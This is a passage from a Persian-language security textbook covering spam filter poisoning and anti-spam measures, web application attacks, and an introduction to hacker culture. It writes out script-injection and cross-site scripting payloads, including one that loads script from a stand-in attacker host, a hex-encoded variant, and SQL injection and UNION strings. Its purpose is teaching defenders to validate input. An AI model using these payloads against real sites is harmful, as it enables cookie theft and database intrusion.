  شود. شدن پيام مي تصوير از وب در هنگام خوانده

  مسموم كردن يك فيلتر تطبيقي
بزرگترين اميـدواري اوا ايـن اسـت كـه اگـر بتوانـد يـك پيـام را از فيلتـر عبـور دهـد، آلـيس و بـاب              

از كلمـات خنثـي باشـد، او    فيلترهايشان را روي آن پيام عبور داده شده، آموزش دهند. و اگر آن پيـام پـر   

اميدوار است كه در آينده بعنوان اسپم تشخيص داده شوند و باعث شوند كـه بعضـي ايميلهـاي مناسـب و     

  خوب آليس و باب، اسپم تشخيص داده شوند.

از آنجاكه آليس و باب نسبت به تشـخيص اشـتباه ايمليهـاي خـوب بعنـوان اسـپم نسـبت بـه حالـت ديگـر           

ها را دريافت كننـد تـا اينكـه ايميلهـاي مناسبشـان بعنـوان        دهند كه اسپم ترجيح ميتر هستند ، يعني  حساس

كردن فيلترهاي اسپم موفق شود، باعث خواهد شد كه آليس و  اسپم تشخيص داده شود، اگر اوا در مسموم

  شايد حتي آن را رها كنند.  باب نسبت به فيلتركردن تطبيقي نااميد شوند و

اوا درست از آب درآيد، زيرا حتي اگر يك پيام هم از فيلتر عبور كند و آليس و بهرحال، بعيد است نقشه 

شود.  در ميزان اهميت كلماتي كه برايشان مهمترين هستند، خدشه وارد نمي  باب به فيلترشان اطلاع دهند،
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ترها توسط كردن فيل يعني كلمات مربوط به بافتني براي آليس و اتومبيل براي باب. براي اينكه نقشه مسموم

اوا عملي شود، او بايد ابتدا يك پيام را از فيلتر اسپم عبور دهد و فيلتر را با كلماتي براي هر كـاربر آلـوده   

كند. امكان عبور دادن اين چنين پيامي را در نظر بگيريد. كل آنچـه بـاب انجـام داده اسـت اضـافه كـردن       

ب به مساپلي كه اكنون در ليست اضـافه شـده   كلماتي به ليست كلمات اسپمي است. حتي اگر در آينده با

مند شود، وجود و قدرت اين كلمات آنقدر نيست كه باعث اسپم شناخته شدن ايميلهاي مورد  است، علاقه

  نظر باب شود.

گيري براي خـوب يـا    قدرت يك فيلتر تطبيقي در توانايي براي وزن دادن بسياري از احتمالات در تصميم

  بد بودن يك پيام است.

ها اشاره شـد. در اينجـا    به طور مختصر به روشهايي براي مقابله با اسپم چگونه با اسپم مقابله كنيمر مقابله د

  شود. به چند نكته ديگر اشاره مي

  چند روش مقابله 13-3

  نيد.امكان از ايميلهاي متني ساده استفاده ك تا حد  -1
شوند. توليدكننـدگان اسـپم ايـن كـار را      نوشته مي HTMLايميلهاي اسپمي با استفاده از  85٪بيش از 

توانند پيامهاي جدابتري با رنگها و فونتهاي متفاوت ايجـاد كننـد. همچنـان     به اين طريق مي  كنند، زيرا مي

فيلتر استفاده ببرند. البته ممكن كردن كلمات اسپمي از ديد يك  براي پنهان HTMLهاي  توانند از حقه مي

كننـدگان اينترنـت ايـن را روش مـوثري بـراي       است براي بعضي از افراد غيرعملي باشد، اما بعضي استفاده

دريافت كنند، تقريبا به اسـپم بـودن آن مطمـئن     HTMLدانند. بنابراين اگر ايميل با فرمت  نبرد با اسپم مي

  هستند.

و  ”جوهر نامرئي“براي تشخيص  HTMLرت تحليل فايلهاي فيلتر اسپم شما نياز به قد -2

  دارد. ” استتار“
هستند (براي مثال از طـرف كسـي    HTMLيك فيلتر اسپم بايد بتواند بين ايميلهاي واقعي كه با فرمت 

از طـرف يـك    HTMLكند) بـا   استفاده مي HTMLفرض  با فرمت پيش Outlook Expressكه از 

  ل شود. توليدكننده اسپم تمايز قائ
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هاي بكار رفته در آن براي پنهان كردن حجم زيادي  را تحليل كند تا از حقه HTMLبعلاوه، فيلتر بايد 

هـايي را كـه قابـل ديـدن      از متن مطلع شود. يك فيلتر تطبيقي خوب براي جلوگيري از گول خوردن مـتن 

  ريزد.  نيستند دور مي

 MIME(Multi-purpose Internetفيلتر اسپم شما احتياج بـه امتحـان هـر     -3

Mail Extensions)  براي يافتن حقه“MIME is Money” .دارد  
شـود، ارسـال دو پيـام در يـك      شـناخته مـي   ”MIME is Money“يك حقه هوشمندانه كه بعنوان 

است. با استفاده از يك پيـام مـتن سـاده كـه از      MIMEايميل با استفاده از يك روش كد كردن با عنوان 

پيام اسپمي اسـت، توليـد كننـده اسـپم       كه شامل HTMLكيل شده و يك پيام در قالب كلمات خنثي تش

را بجاي متن ساده نشان خواهد داد در حاليكـه اميـدوار    HTMLمعتقد است كه برنامه ايميل كاربر نسخه 

ب است كه نسخه متن ساده توسط فيلتر خوانده شود و به اين ترتيب فيلتر گول بخورد. يك فيلتر اسپم خو

يك پيام تا حد زيادي بـا هـم متفاوتنـد و از     HTMLاين تشخيص را خواهد داد كه بخشهاي متن ساده و 

  گيري استفاده خواهد كرد. براي تصميم HTMLنسخه 

  سايت ديگر را ندهيد اجازه بارگذاري تصويرها از يك وب -4
است كه پيام از فيلتـر عبـور   يك راه ديگر جلوگيري از بازخورد دادن به توليدكننده اسپم در هنگامي 

كنندگان اسپم بسيار از حشرات وبي در پيامهـاي اسـپمي بـراي فهميـدن اينكـه دقيقـاً كـدام         كند. توليد مي

كنند. اين دريافت كنندگان در آينده اسپم بيشتري دريافت  كننده پيام را خوانده است، استفاده مي دريافت

تنظيمات برنامه ايميل خود را طوري انجام دهد كه تصـاوير   خواهند كرد. براي اين منظور يك كاربر بايد

  داخل ايميلها بارگذاري نشود.

توليدكنندگان اسپم شايد براي نفوذ به فيلترهاي تطبيقي با ارسال پيام در حجمهاي بالا با چنـدين كپـي   

  تر تلاش كنند. هر كپي از بقيه كمي متفاوت خواهد بود.  به هر آدرس، بيشتر و سخت

كنندگان اسپم تصميم بگيرند كه كمتر از كلمات اسپمي استفاده كننـد و متنهـاي    هايت شايد توليددر ن

  تر پيش برود!!! آنها به سمت ايميلهاي مفيد
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 هاي وبي  حمله به برنامه 13-4

   
  شناسيد، نيازي به نگراني در مورد نتيجه هر نبردي نداريد. اگر خود و دشمن را مي

  ولي شناخت مناسبي از دشمن نداريد، در پي هر پيروزي بايد نگران شكست باشيد. شناسيد اگر خود را مي

  شناسيد و نه دشمن، در همه نبردها مغلوب خواهيد بود. اگر نه خود را مي

  نوشته سان تزو» هنر جنگ«برگرفته از كتاب 

دامه دارد. بسياري از يك ديد امنيت شبيه جنگي تمام عيار است كه هر روز و در تمام ساعات و لحظات ا 

شود كه دانـش انـدكي در    افزاري توسط توسعه دهندگاني ايجاد مي هاي نرم ها در سيستم از آسيب پذيري

پـذير   كنند تا چه حـد آسـيب   دانند كه كدهايي كه توليد مي رابطه با نكات يا تهديدات امنيتي دارند و نمي

  است.

هـاي جديـد از طريـق اينترنـت در      ارت و جذب مشـتري هاي وبي براي مديريت تج ميزان استفاده از برنامه

و به اين ترتيب بازار قابل توجهي براي متخصصين توسعه ايـن    هاي مختلف در حال افزايش است، شركت

هـاي   ها بوجود آمده است. مزيت اصلي در اسـتفاده از تجـارت مبتنـي بـر وب بـراي شـركت       گونه سيستم

فاده از حداقل امكانات پيام خود را به مشتريان بازار در سراسر دنيا توانند با است مختلف در اين است كه مي

آل تجاري اسـت   دهد، اين نكته با وجودي كه يك ايده برسانند. وب طيف مخاطبان وسيعي را پوشش مي

تواند اهداف شركت را نيز به مخاطره بيندازد زيرا مشخص نيست كه چه كساني سايت شركت را  ولي مي

توانند كـاربران بـدخواهي باشـند     . بينندگان سايت علاوه بر شركاي تجاري و مشتريان ميكنند مشاهده مي

  باشند. كارانه در پي نفوذ به سيستم مي كه با اهداف خراب

تواننـد از   هـايي كـه كـاربران مـي     گيرند و راه نقاط آسيب پذيري رايج مورد بررسي قرار مي بخشدر اين 

  شوند. معرفي مي ها را تهديد كنند طريق آن برنامه

******  

كنند و پس از پردازش اين اطلاعات بر مبناي  هاي وبي اطلاعاتي را از كاربر دريافت مي بسياري از برنامه 

كنند. به عنوان مثال برنامه يـك فـرم جسـتجوي سـاده را در اختيـار       هاي خود نتايجي را توليد مي الگوريتم
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ارد شده و پس از جستجو در پايگـاه داده نتـايجي توليـد و    دهد كه عبارت جستجو در آن و كاربر قرار مي

شود. ايـن فراينـد يـك نمونـه عملكـرد بسـيار رايـج اسـت كـه در بسـياري از            براي كاربر نمايش داده مي

  شود. هاي وبي مشاهده مي برنامه

كارانه داشته باشد ممكن است بتوانـد بـا وارد كـردن يـك عبـارت       در صورتي كه كاربري اهداف خراب

جستجو ثبات و امنيت برنامه وبي را بـه خطـر بينـدازد. ايـن خطـر بـه ميزانـي جـدي اسـت كـه حتـي اگـر             

زيرساخت امنيتي بسيار مستحكمي (به عنوان مثال فايروالي مناسب كه همه حملات را متوقف كند) مـورد  

لاشي كه براي ايجـاد  ت  هاي كاربران مورد ارزيابي قرار نگيرد، تمامي استفاده قرار گرفته باشد ولي ورودي

  رود. زيرساخت امنيتي به كار گرفته شده است به هدر مي

هـاي كـاربران تـا     بنابراين طراحان سيستم بايد اين نكته مهم را در ذهن خود داشته باشند كـه همـه ورودي  

داننـد كـه    زماني كه از امن بودن آنها اطمينان حاصل نشده است، بايـد نـامطمئن تلقـي شـوند. هكرهـا مـي      

گيـري از نقـاط آسـيب     توان از آنها بـراي بهـره   كنند و چگونه مي ها را استفاده مي ها چگونه ورودي رنامهب

هـاي   پذير سيستم بهره گرفت. بنابراين بهترين روش براي مقابله بـا ايـن مشـكل تاييـد اعتبـار همـه ورودي      

ود ولي براي حفظ امنيت ش كاربران است. هرچند كه اين فرايند باعث كاهش سرعت و كارآيي برنامه مي

  باشد. سيستم اجتناب ناپذير مي

  توان به موارد زير اشاره نمود: توانند وارد سيستم شوند، كه مي هاي نامطمئن از طرق مختلفي مي داده

  URLهاي پرس و جوي  رشته        ·

  HTMLهاي  فرم        ·

·        Cookieها  

  شوند. گاه داده انجام ميو جوهايي كه بر روي يك پاي  پرس        ·

ها را مي توان قبل از پـردازش اعتبارسـتجي    Cookieرشته هاي پرس و جو، فيلدهاي اطلاعاتي فرم ها و 

  نمود.

توان بـه   گيرند را مي و سايت وبي صورت مي  حملاتي كه در نتيجه استفاده از داده نامطمئن بر روي برنامه

  شرح زير خلاصه نمود:
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  1تزريق اسكريپت 13-5
و 2ها افتد كه با استفاده از يك باكس ورودي كاربر اقدام به ورود نشانه اين نوع حمله در صورتي اتفاق مي

شـود.   ها ذخيـره مـي   Cookieخرابكارانه نموده باشد. اين ورودي در پايگاه داده و يا در يا كد اسكريپت 

اي طراحي شود كه اثرات مختلفي داشته باشد و ممكن اسـت عملكـرد يـك     تواند به گونه چنين كدي مي

  برنامه يا سايت اينترنتي را براي همه كاربران تحت تاثير قرار دهد.

شـود و   خواند، كـد ناخواسـته اجـرا مـي     هاي آن فعال است اين كد را مي وقتي يك مرورگر كه اسكريپت

ــي   ــاي مـ ــه جـ ــود را بـ ــرات خـ ــانه اثـ ــذارد. نشـ ــتند    گـ ــتفاده هسـ ــل اسـ ــن روش قابـ ــه در ايـ ــايي كـ   هـ

  باشند. مي >embed<و  >script< ،>object< ،>applet<شامل 

ه ليسـتي از نـام مـولفين    مثالي از اين نوع حمله به صورت زير است. فرض كنيد در يك صفحه وبـي ك ـ 

هاي جديد را وارد نمود. اين مثال فقط براي روشن  توان در آن نام دهد، فيلدي وجود دارد كه مي ارائه مي

اي را وارد نمايـد.   توانـد داده  هاي زيادي وجود دارنـد كـه كـاربر مـي     شود ولي نمونه شدن مطلب ارائه مي

تواند از طريق آنهـا عبـارت جسـتجويي را وارد     كاربر ميترين نمونه اين صفحات، آنهايي هستند كه  رايج

  كند.

ــاد؛         ــد افت ــالبي خواه ــاق ج ــد اتف ــف وارد نماي ــك مول ــام ي ــوان ن ــه عن ــر را ب ــارت زي ــاربر عب ــر ك  اگ

<script> alert(‘Script Injection’);  </script>  
شود،  ايگاه داده ميدر يك برنامه ضعيف اين ورودي اعتبار سنجي نشده و به عنوان نام يك مولف وارد پ

  فوق اجرا مي شود. JavaScriptبنابراين هر بار كه ليست مولفين نمايش داده مي شود كد 

  

شود كه اسكريپت وارد شـده در صـفحه، كـد سـمت سـرور       با بررسي اتفاقاتي كه رخ داده مشخص مي

بـا وجـود عـدم تغييـر كـد       دهد. آنچه كه اتفاق افتاده تغيير محتواي پوياي سايت است. برنامه را تغيير نمي

برنامه، باز اين تزريق اسكريپت خطرناك است، زيرا اسكريپتي كـه وارد شـده اسـت بـه عنـوان بخشـي از       

شود. كد اسكريپت وارد شده توسط همه كاربراني كـه   هاي كاربران اجرا مي محتويات سايت در مرورگر

  شود. كنند رويت مي به سايت مراجعه مي
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  ديگري را نيز به سايت تزريق نمايد. به عنوان مثال: JavaScriptتواند هر كد  ميبه طريق مشابه كاربر 

<script> location.href = ‘Malicious.html’; </script> 

با درج عبارت فوق در پايگاه داده به عنوان نام يكي از مولفين هر گاه صفحه نام مـولفين توسـط كـاربري    

شـود.   انتقـال داده مـي   Malicious.htmlودكـار بـه صـفحه    مشاهده شود، كنترل مرورگر به صورت خ

 hrefاي كـه آدرس آن در   كند، محتويـات صـفحه   اشاره مي URLكه با يك آدرس  location(نشانه 

  كند.) معرفي شده است را در مرورگر بار مي

تـرل  توانـد يـك كن   تواند هر كاري انجام دهد. به عنوان مثال مـي  مي Malicious.htmlهكر در صفحه 

ActiveX  و يا كدJavaScript      را بر روي دستگاه كاربر بار كرده و اقدام بـه اجـراي آن نمايـد، و يـا

  تعدادي زيادي مرورگر جديد باز نموده و در هر يك از آنها يك سايت جديد را باز كند.

  Cross-Site Scriptingحمله 

افتد كه كد اسـكريپت   مواقعي اتفاق ميين نوع حمله خيلي مشابه به حملات تزريق اسكريپت است و در ا

ها در مرورگر وب وارد شود. در ايـن نـوع حمـلات، هـدف هكـر       توسط صفحات پوياي وب ساير سايت

باشند. فرض كنيد كه يـك سـايت عبـارات جسـتجو را بـا       خود سايت نيست، بلكه كاربران آن مد نظر مي

توسـعه داده   NET.ا اسـتفاده از فنـاوري   (در صورتي كه برنامـه ب ـ   QueryStringاستفاده از مجموعه 

توانند عبارات جستجو را بـا   ها مي كند، و ساير سايت دريافت مي HTTP Getشده باشد) و از طريق متد 

   ارسال كنند. Searchعبارت پرس و جوس 

YourSite.com?Search=asp.net  
گـردد و در   رت مـورد نظـر مـي   صفحه جستجو رشته پرس و جو را خوانده و در پايگاه داده به دنبال عبا

اي متناسب با عبارت مورد نظر در پايگاه داده  دهد. در صورتي كه داده نهايت نتيجه جستجو را نمايش مي

  وجود نداشته باشد، پيامي مبني بر يافت نشدن جواب توليد و نمايش داده خواهد شد.

  هاي زير وجود دارند: در صفحه جستجو قالبي كد

void Page_load(Object Src,EventArgs E)  
{  
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 String sSearchStr="";  
 NameValueCollection ColQstr = Request.QueryString;  

   
 String[] qStrAry = colQstr.AllKeys;  
 for (int i = 0; i<= qStrAry.GetUpperBound(0); i++)  
 {  
  if (qStrAry[i] == "search")  
  {  
   String[] qStrAry = colQstr.AllKeys;  
   for (int j = 0; j<=qStrAryVal.GetUpperBound(0); 

j++)  
   {  
    sSearchStr = qStrAryVal[j];  
    break;  
   }  
  }  
 }  

   
 if (sSearchStr.Trim() != "")  
 {  
  if (SearchDataStore(sSearchStr) == false)  
   lblResult.Text = "The search keyword " + 

sSearchStr +  
   " did not produce any results. Please try again.";  
 }  

}  
bool SearchDataStore(String sSearchStr)  

{  
 /*Perform the search against the datastore and display the   
 result. if there are no results then return false.*/  
 return false;  
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}  
ــداد  ــارامتر  Page_Loadروي ــابي   QueryStringرا در  Searchپ ــدار آن را بازي ــده و مق خوان

نمايـد. در   اقدام به بازيابي نتايج رشته جستجو مي SearchDataStoreكند. سپس با فراخواني متد  مي

خواهد بود. بعد از اين فرايند  falseصورتي كه موردي در پايگاه داده يافت نشد مقدار بازگشتي اين متد 

باشد ركوردهاي يافت  trueدهد (اگر بازگشتي متد  نتايج جستجو را نمايش مي Page_Loadرويداد 

باشد پيغام خطـاي مناسـب). تـا اينجـا همـه چيـز روال عـادي خـود را طـي            falseشده و در صورتي كه 

  كند. حال فرض كنيد يك كاربر و يا سايتي ديگر عبارت زير را تايپ نمايد: مي

Process.Aspx?Search=<script>alert(CSS Attack); </script>  

  

  تواند متن زير را وارد نمايد: به طريق مشابه، كاربر مي

<a 

href="process.aspx?Search=<script>alert(document.cookie);</scrip

t>">Click here </a>  

عـات  شـود و تمـام اطلا   با كليك لينك توسط كـاربر، كنتـرل مرورگـر بـه يـك سـايت ديگـر منتقـل مـي         

cookie  هاي سايت اصلي در پنجرهalert شود. كـد   نمايش داده ميJavaScript    از داخـل حاشـيه

   هايي قابل اجرا هستند كه از خارج قابل اجرا شدن نيستند. شود و بنابراين كد امنيتي دامنه فعلي اجرا مي

  .به يك سرور ديگر نيز وجود دارد Cookieبه طريق مشابه امكان ارسال اطلاعات 

تر اسـت. فـرض كنيـد يـك سـايت       نوع ديگري از حملاتي كه به اين شيوه قابل انجام است بسيار پيشرفته

دهد. در  آوري نموده و در اختيار كاربران خود قرار مي را جمع  اطلاعات موجود در وب در مورد فناوري

از نظرشـان جالـب و   تواننـد آخـرين اخبـاري را كـه      اين سايت امكاني فراهم آمده است كه كـاربران مـي  

مناسب سايت است را وارد نمايند. در صـورتي كـه هـيچ گونـه اعتبارسـنجي بـر روي داده ورودي انجـام        
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نمايشـي   نشود، با وارد شدن اطلاعات توسط كاربر، سيستم آن را در پايگاه داده خود ذخيره نموده و پيش

  دهد. از آن را ارائه مي

تواننـد بـا وارد كـردن متنـي ماننـد زيـر بـه اهـداف          از اسـت و مـي  در اين ساختار راه نفوذ براي هكرهـا ب ـ 

  خرابكارانه خود برسند:

News: Here is a Cross-Site Script Attack  
URL: www.SomeSite.com/default.aspx?ID=<script 

src='http://CssAttack.com/dostuff/js'></script>  
   

  

، آن را پذيرفته و در پايگاه داده وارد كند سايت و بيننـدگان آن در  URLاگر برنامه بدون اعتبار سنجي 

گيرند. اگر متن اسكريپتي كه وارد شده است مستقيما وارد پايگاه  قرار مي Cross-siteمعرض حملات 

شود. هر  به صورت هفتگي براي مشتركين ارسال شود، نتايج زيان باري حاصل مي داده شده و از اين پس

را در مرورگر خود مشـاهده خواهـد كـرد و جـاوا      URLكس كه بر روي لينك خبر كليك كند آدرس 

  شود. اجرا مي scriptنشانه  SRCاسكريپت بيان شده در 

كه هكر به جاي استفاده از متن به فرمت شود  نمونه ديگري از اين نوع حملات به اين صورت انجام مي

ASCII   ياUnicode  از كد حروفhex نمايد. استفاده مي  

News: Here is a Croos-Site Script Attack  
URL:  

http://77%2077%2077%202e%2053%206f%206d%2065%2073%

2069%2074%2065%20  
2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069

%2070%2074%2020%20  
73%2072%2063%203d%2092%2044%206f%2053%2074%2075%

2066%2066%202e%20  
4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%

2070%2074%203e  
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  معادل   ASCIIحروف فوق در قالب 

News: Here is a Cross-Site Script Attack  
URL: www.SomeSite.com/default.aspx?ID=<script 

src='http://CssAttack.com/dostuff/js'></script>  
  باشند. مي

اي دارد.  العاده ها در زمان ورود اهميت فوق شود كه اعتبار سنجي داده با مشاهده موارد فوق مشخص مي

توانـد اعمـال بسـيار خطرنـاكي را انجـام دهـد كـه بسـتگي بـه           گـردد مـي   ارائه مي  URLاسكريپتي كه در 

  باشند: نويسي دارد. اين اعمال شامل موارد زير مي هاي زبان اسكريپت تقابلي

  تغيير يابد. cookieها تحريف شوند، به عنوان مثال ممكن است محتويات يك  ممكن است داده        ·

  يكپارچگي اطلاعات به خطر افتد.        ·

  طمئن اجرا شوند.هاي م هايي با اهداف خرابكارانه در محيط سايت اسكريپت        ·

·        Cookie .ها مقدار دهي شده و يا اطلاعات آنها خوانده شود  

  هاي كاربران مورد استراق سمع واقع شود. ورودي        ·

  هايي نامطمئن هدايت شوند. كاربران به سايت        ·

هـايي كـه بـا     روش هاي وبي معرفي شدند. در ادامـه بـه   هاي حمله به برنامه هاي پيشين از روش در بخش

  شود. توان به پايگاه داده سيستم نفوذ كرد اشاره مي استفاده از آنها مي

  SQLتزريق  13-7
به يك برنامه اسـت، در شـرايطي كـه توسـعه دهنـده       SQLبه زبان ساده اين نوع حمله وارد كردن كد 

ن نـوع حمـلات بـه سـاختار     بيني آن را نيز نكـرده باشـد. ريشـه اي ـ    برنامه قصد آن را نداشته و يا حتي پيش

هـاي سـاخت    هايي قابـل انجـام اسـت كـه از روش     گردد و تنها در مورد برنامه طراحي ضعيف برنامه برمي

  گيرند. بهره مي SQLرشته هاي 

  به مثال زير توجه كنيد:

Dim StrSQL as String = "SELECT CustomerID, CompanyName, 

ContactName, " & - 
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     "ContactTitle FROM Customers WHERE CustomerID =  '" & 

txtCustID.Text & "'" 

شـود كـه    توليـد مـي   SQLدر عبارت فوق با استفاده از روش ساخت رشـته بـه صـورت پويـا يـك رشـته       

CustomerID   با مقدار موجود درtxtCustID شود. در شـرايط عـادي كـاربر شناسـه      جايگزين مي

نامه اقدام بـه جسـتجو در پايگـاه داده نمـوده و پـس از آن نتـايج بـراي        نمايد، بر وارد مي Boxخود را در 

را وارد نمايد نتايجي كه برنامه توليـد   ALFKIشود. به عنوان مثال اگر كاربر شناسه  كاربر نمايش داده مي

  كند به شرح زير خواهد بود: مي

  

اي دخالـت كنـد كـه پيـام خطـا       بـه گونـه   SQLتواند در فرايند توليـد عبـارت    در چنين موردي كاربر مي

دريافت نمايد. اگر خطاي توليد شده به درستي در برنامه مديريت نشود و ايـن پيـام بـه صـورت كامـل در      

دراختيار كاربر قرار خواهـد گرفـت    SQLارت اختيار كاربر قرار گيرد، اطلاعات بيشتري در خصوص عب

  تواند عبارت زير را وارد نمايد: آورد. به عنوان مثال كاربر مي كه مقدمه نفوذ به سيستم را فراهم مي
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ALFKI' or CustomerID like '% 

شود، عبـارت سـاخت رشـته     با توجه به اينكه هيچگونه اعتبار سنجي بر روي داده ورودي كاربر انجام نمي

SQL :عبارت زير را توليد خواهد نمود كه در پي آن اجرا هم خواهد شد 

SELECT CustomerID, CompanyName, ContactName, ContactTitle 

FROM Customers WHERE CustomerID = 'ALFKI' or CustomerID like 

'%' 
طلاعـات تمـام كـاربران    ، اALFKIعلاوه بر اطلاعـات كـاربر بـا شناسـه       SQLدر نتيجه اجراي اين رشته 

شود. در صورتي كه در پايگاه داده سيستم اطلاعات حساس شخص  موجود در پايگاه داده نمايش داده مي

 تواند منجر به بروز يك فاجعه شود. مانند شماره كارت اعتباري ذخيره شده باشد، اين اتفاق مي

ايگـاه داده دسترسـي يابنـد. اگـر رشـته      به اطلاعات پ  SQLتوانند با تزريق  هكرها به روش ديگري نيز مي

ALFKI' or 1=1 --  دقيقا مشابه حالت قبل خواهـد بـود. در ايـن صـورت       در صفحه وارد شود نتيجه

  باشد: توليد شده، به صورت زير ميSQLرشته  

SELECT CustomerID, CompanyName, ContactName, ContactTitle 

FROM Customers WHERE CustomerID = 'ALFKI' or 1=1 -- 
ــارت در --دو خــط فاصــله ( مشــخص كننــده جمــلات   MS SQL Server) اســتفاده شــده در عب

انجـام   );و در اراكـل بـا نمـاد (     )#بـا نمـاد (    My SQL) هستند. اين كار در Commentsتوضيحات (

سـنجي مناسـب   اي را در صفحه وبي وارد نمايد، و در صورتي كه اعتبار  شود. هكر قادر است هر رشته مي

 انجام نشود، بالقوه سايت در معرض خطرات فراواني خواهد بود.

  SQL Unionحمله 
استفاده  Unionتوانند از عبارت  براي دريافت اطلاعات بيشتر در مورد سرور حمله كنندگان به سايت مي

راه دارد، ولي هاي خاص خود را به هم تر بوده و دشواري نمايند. با وجودي كه اين نوع حمله بسيار سخت

با اين وجود غير ممكن نيست. مهمترين محدوديت اين نوع حمله در اين است كه هر دو عبـارت پـرس و   

هاي يكساني را برگردانند و نوع داده ستونهاي هر دو عبارت پرس و جو بايـد بـا    جو بايد يك تعداد ستون

از ساير روشها باشد ولي با چند بار  دشوارتر Unionشود كه حمله  هم سازگار باشند. اين مسئله باعث مي
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عنوان مثالي از اين نوع حمله فرض  به تواند موفق به گرفتن اطلاعات مورد نياز خود شود. تلاش هكر مي

  :نمايد مي كنيد هكر عبارت زير را وارد

ALFKI' union select @@Servername -- 
 زير توليد خواهد شد: SQLدر اين صورت رشته 

SELECT CustomerID, CompanyName, ContactName, ContactTitle 

FROM Customers WHERE CustomerID = 'ALFKI' union select 

@@Servername  --' 
شود و با توجه به مكانيزم كنترل خطـا، احتمـالا پيـام     اين رشته منجر به توليد يك خطا در سمت سرور مي

 دهد: صورت هكر چند بار تلاش به شرح زير انجام مي شود. در هر توليد شده به كاربر نمايش داده مي

ALFKI' union select @@Servername, @@Servicename, @@Version 

-- 
ALFKI' union select @@Servername, @@Servicename, 

@@Servicename, @@Version -- 

هـايي كـه    و تعـداد سـتون  تواند به هـدف خـود رسـيده     با چندين بار تكرار و سعي و خطا بالاخره هكر مي

شود را كشف نمايد. بـا ايـن كشـف كنتـرل بيشـتري بـر روي عبـارت         برگردانده مي SQLتوسط عبارت 

union كند: آيد. ورودي فوق عبارتي به شكل زير توليد مي شود بوجود مي بعدي كه نوشته مي 

SELECT CustomerID, CompanyName, ContactName, ContactTitle 

FROM Customers WHERE CustomerID = 'ALFKI' union select 

@@Servername, @@Servicename, @@Servicename, @@Version -

- 
آن را اجـرا نمـوده و    SQL Serverاسـت، لـذا    SQLبا توجه به اينكه عبارت فوق يك عبـارت معتبـر   

 گرداند. برمي ASP.NETمقادير نتيجه را براي صفحه 

ين خروجي اطلاعات ذيقيمتي در ارتباط با سرور شامل نام سرور، نام سـرويس، نسـخه سـرور، سـرويس     ا

  دهد. پك و نسخه سيستم عامل را در اختيار هكر قرار مي
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 دنياي هكرها -14

نويسان  هاي كوچكي توسط برنامه رها صحبت كنيم. اوايل برنامهقصد داريم با شما در مورد هك و هك

 “اجـازه و برگرفتـه از احسـاس     هـاي بـي   ضرر، دسترسـي  هاي بي شد كه شوخي نوشته مي ”Hacks“بنام 

شـود.   هاي جدي شده است كه به سيستمها وارد مي بود، اما اكنون تبديل به زيان ”جلوي من حصار نكش

كنند. بد نيست كـه   ها مفيد هستند و بعنوان محافظ عمل مي كرها براي سازمانبهرحال در بعضي اوقات، ه

هاي اين گروه از افراد آشنا شويم. بنابـه تعريـف، آنهـا افـراد يـا گروههـايي از افـراد بـا          با فرهنگ و برنامه

گران اندازنـد. آنهـا كاوش ـ   هاي متفاوت هستند كه امنيت يك سازمان يا يك فرد را به مخـاطره مـي   انگيزه

قلمروهاي جديد هستند. بعضي براي منافع شخصي و بعضي براي سودرساندن به ديگران. اطلاع داشـتن از  

شدنهاي  كند. مطالعه در مورد هكرهاي برجسته و داخل تاريخ هك راه و آينده احتمالي آن را مشخص مي

  كند. اجازه آنها به سيستمها به افزايش آگاهي در اين مورد كمك مي بي

  هكرها كيستند؟ 14-1

كنـد. (ايـن    به ميانبر ايجاد شده در يك برنامه براي انجـام سـريعتر كـار، اشـاره مـي     ”  هك“اصطلاح 

فرهنگ، هكرها سعي در پنهان  تعريفي است كه با پيدايش اين كلمه همراه آن بوده است.) طبق يك خرده

شـدن   ي از آنهـا از تحسـين  كنند، هرچند مطالعات نشـان داده اسـت كـه بعض ـ    كردن هويت واقعي خود مي

يا  Hackingwizبرند. بيشتر آنها از اسامي مستعار مانند  آورند، لذت مي بدليل ماجراهايي كه بوجود مي

Hyper Viper  خـود را از   داننـد كـه گـاهي     كنند. آنها خود را افراد ماهر و هنرمندي مـي  استفاده مي

ردن يك هكر، تعريف مشخصي وجـود نـدارد.   ك كنند. در حقيقت، براي مشخص نويسان جدا مي ويروس

پوشاند، امـا   هاي متفاوتي هستند و دلايلي كه پشت هك وجود دارد گستره وسيعي را مي آنها داراي زمينه

شوند. هكرها افراد باهوشي هستند و از اينكه كامپيوترها را بـه انجـام كـاري     باعث تهديدهاي مشتركي مي

  برند. دارند، لذت مي كه دوست دارند وامي

  بندي هكرها سه گروه وجود دارند: در طبقه
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هاي فني مانند كدهاي برنامه يا آناليز سيسـتمها علاقمنـد هسـتند.     اي قديمي كه به داده هكرهاي مدرسه   ·

  اين گروه علاقمند به درگيرشدن در تحصيلات عاليه مرتبط با علوم كامپيوتر هستند.

گردند و بـراي   ان شباهت بيشتري دارند. آنها در فضاي وب ميگروه دوم هكرهايي هستند كه به مجرم   ·

شوند. بهرحال اخيرا، تعدادشان اضافه شـده اسـت و    ساز مي كنند و مساله اثبات خودشان سايتها را هك مي

اند. اين مساله بعبارتي حالت تفـريح در فضـاي سـايبر را بـراي آنهـا       نوجوانان بيشتري به هك مشغول شده

سـايتهايي كـه بـه هـك      ار خود را توسط روشها و هكهايي كه از منابع غيرقـانوني، ماننـد وب  دارد. آنها ابز

  شوند. اي جدي محسوب مي آورند. اين افراد براي جامعه امنيتي امروز مساله يافته، بدست مي تخصيص

ترسـي بـه   اي هستند. افراد اين گروه اغلب اهداف مالي دارند. آنها مهارت دس گروه سوم مجرمان حرفه   ·

  سيستمهاي مورد هك و يا افراد با اين توانايي را دارند. 

اي  اي از قـوانين نانوشـته   وجود دارد كه در حقيقـت مجموعـه   ”آيين هكري“در فرهنگ هكرها، يك 

كند. مهمتر اينكه، اين مجموعه بـه   كند و خط مشي آنها را تعيين مي است كه فعاليتهاي آنها را هدايت مي

كند. هر گروه براي خود يك آيين هكري دارد كـه از   ي انجام شده توسط هكرها كمك ميتاييد فعاليتها

  كند. آن تبعيت مي

مطابق با ديدگاه افراد مختلف، هكرها يا سودمند و بعنوان جزء لازمي براي اينترنـت هسـتند، يـا اينكـه     

امنيتي را پيدا و از آنهـا  كنند كه آنها وظيفه دارند شكافهاي  شوند. بسياري احساس مي تهديد محسوب مي

استفاده كنند تا توجه لازم را به مساله معطوف دارنـد. بهرحـال بايـد روي ديگـر سـكه را نيـز ديـد. همـان         

هـاي شخصـي    تواند همچنين باعث زيان يا سوءاسـتفاده  شود مي ابزاري كه براي اهداف خوب استفاده مي

